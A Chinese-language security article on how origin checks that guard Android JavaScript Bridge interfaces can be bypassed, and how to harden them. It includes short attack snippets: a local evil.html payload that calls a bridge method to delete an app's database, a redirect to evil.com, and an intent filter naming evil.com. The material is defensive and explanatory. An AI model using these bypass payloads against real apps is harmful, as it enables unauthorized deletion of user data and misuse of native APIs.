Android JSB基于来源校验的防护绕过分析与加固方案
引言
在移动混合开发中,JavaScript Bridge(JSB)作为连接Web与原生代码的核心组件,极大提升了开发效率,但同时也引入了显著的安全风险。攻击者可能通过JSB漏洞越权调用敏感API,导致数据泄露、恶意操作等严重后果。通常情况下会通过校验调用JSB接口的访问来源网页来进行防护,而该防护在大多情况下仍会存在绕过。
JSB工作原理与攻击面
JSB通过WebView在JavaScript与原生代码(Java/Kotlin/Swift)间建立通信通道:
- Android实现:使用
@JavascriptInterface注解暴露Java方法 - iOS实现:通过
WKScriptMessageHandler注册消息处理器
风险场景示例:
@JavascriptInterface
public void deleteFile(String path) {
new File(path).delete(); // 无权限校验的高危操作
}
可信域名校验的核心逻辑
开发者通常通过校验WebView加载页面的域名或URL来确保请求来源的合法性,这是防御恶意调用的一线屏障。
Android校验示例:
private boolean isSafeDomain(String url) {
try {
URL uri = new URL(url);
return ALLOWED_DOMAINS.contains(uri.getHost());
} catch (Exception e) {
return false;
}
}
绕过来源校验的攻击手法
1. WebView协议漏洞利用
攻击场景:利用file://、content://等本地协议加载恶意HTML文件,绕过远程域名校验。
漏洞代码:
webView.loadUrl("file:///sdcard/evil.html"); // 加载本地恶意文件
攻击Payload:
<script>
window.jsBridge.deleteFile("/data/data/com.app/database.db");
</script>
绕过原理:当WebView加载file://协议时,url.getHost()返回null,白名单校验可能被绕过。
2. 跨域重定向劫持
攻击场景:在可信域名页面中注入恶意重定向代码,跳转到攻击者控制的域名。
恶意JavaScript代码:
window.location.href = "http://evil.com/exploit.html";
替代方案:找到一个可信白名单下URL重定向漏洞,然后重定向到恶意payload中。
绕过原理:部分校验逻辑仅在页面初始加载时检查URL,未监控后续重定向行为。
3. Intent Scheme攻击
攻击场景:通过自定义Intent Scheme触发WebView加载恶意内容。
攻击Payload:
<intent-filter>
<data android:scheme="intent" android:host="evil.com" />
</intent-filter>
绕过原理:若应用未正确处理Intent的data字段,可能将evil.com解析为合法来源。
4. WebView调试漏洞
攻击场景:启用WebView调试模式时,攻击者通过Chrome DevTools注入恶意代码。
漏洞配置:
if (BuildConfig.DEBUG) {
WebView.setWebContentsDebuggingEnabled(true); // 生产环境应禁用
}
绕过原理:攻击者直接通过chrome://inspect远程控制WebView,完全绕过域名限制。
加固来源校验方案
1. 协议与路径深度校验
通过协议+具体到路径,进一步收敛能够调用JSB的风险暴露面。
private boolean isSafeSource(String url) {
try {
URL uri = new URL(url);
return "https".equals(uri.getProtocol()) &&
ALLOWED_DOMAINS.contains(uri.getHost()) &&
uri.getPath().startsWith("/safe/path/");
} catch (Exception e) {
return false;
}
}
2. 动态Token绑定(防御重定向攻击)
实现逻辑:在合法页面加载时,原生层向Web注入动态Token,后续接口调用需携带该Token。
Android示例:
// 页面加载时注入Token
String token = generateSecureToken();
webView.evaluateJavascript("window.API_TOKEN = '" + token + "';", null);
// JSB接口校验
@JavascriptInterface
public void sensitiveOperation(String params, String token) {
if (!validateToken(token)) {
return; // 无效Token拒绝执行
}
// 执行操作...
}
思考与总结
来源校验的局限性
- 无法防御同源XSS攻击:若合法域名存在XSS漏洞,攻击者仍可在可信上下文中调用JSB
- 依赖客户端环境:所有校验逻辑均在客户端执行,可能被逆向工程绕过
纵深防御建议
- 服务端参与鉴权:关键操作需向服务端发起二次验证
- 运行时环境检测:通过
BuildConfig、Signature等判断是否为正式环境 - 代码混淆加固:使用ProGuard、R8等工具混淆JSB接口类名
终极防护原则
永远不要信任Web层传递的任何数据,即便来源"合法"也需实施完备的输入验证、权限控制与操作审计。